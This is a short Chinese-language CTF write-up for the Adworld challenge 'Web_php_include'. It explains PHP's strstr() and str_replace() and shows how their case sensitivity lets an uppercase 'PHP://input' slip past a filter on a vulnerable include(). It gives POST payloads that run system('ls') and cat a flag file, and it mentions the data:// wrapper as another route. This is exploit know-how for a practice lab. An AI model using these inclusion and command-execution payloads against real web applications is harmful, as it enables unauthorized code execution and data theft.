Web_php_include-攻防世界


0x00 簡介

記錄這個題純粹是為了記錄以下有關strstr()函數的相關知識。

0x01 題目

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

其中的涉及了兩個函數:strstr()函數、str_replace()函數。

strstr函數:strstr(字符串,你要搜索的內容,false)

括號里面有三個部分:

1.字符串:也就是上面的$page。例如:在url后面添加 /?page=123456,那么$page的內容就是123456。

2.你要搜索的內容:也就是題目中的php://。意思就是該函數會從$page的內容里去尋找php://,而這里是一個while語句,一旦查找到php://,那么就會執行大括號里面的語句。

例如:我的url是

http://111.198.29.45:50769/?page=php.php://input

那么傳入的$page的內容就是php://input,而前面的“php.”就會被丟棄。

3.false:我這里寫false的原因是該參數默認是false。也就是一般情況只需要寫前兩個參數即可。false代表匹配到php://之后,會輸出php://和之后的內容。而如果為true,則會輸出“php.”,也就是php://前面的內容。

注:strstr函數對大小寫敏感,也就是會區分大小寫。

str_replace函數:這個函數的作用是將匹配到的php://全部替換為空。

例如:str_replace(“1”,“2”,“123”)會輸出223。因為會將全部的1替換為2。(同樣區分大小寫)

 

解法就不細說了,本意只是為了記錄一下函數。

將php://改為PHP://即可,因為strstr函數對大小寫敏感。

http://111.198.29.45:50769/?page=PHP://input

burp抓包,post傳參:<?php system("ls");?>

就會看到3個文件,再使用<?php system("cat fl4gisisish3r3.php");?>便能拿到flag。

然后就是還可以利用data://偽協議來解題。

 

data://偽協議

php5.2.0起,數據流封裝器開始有效,主要用於數據流的讀取。如果傳入的數據是PHP代碼,就會執行代碼

使用方法:data://text/plain;base64,xxxx(base64編碼后的數據)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM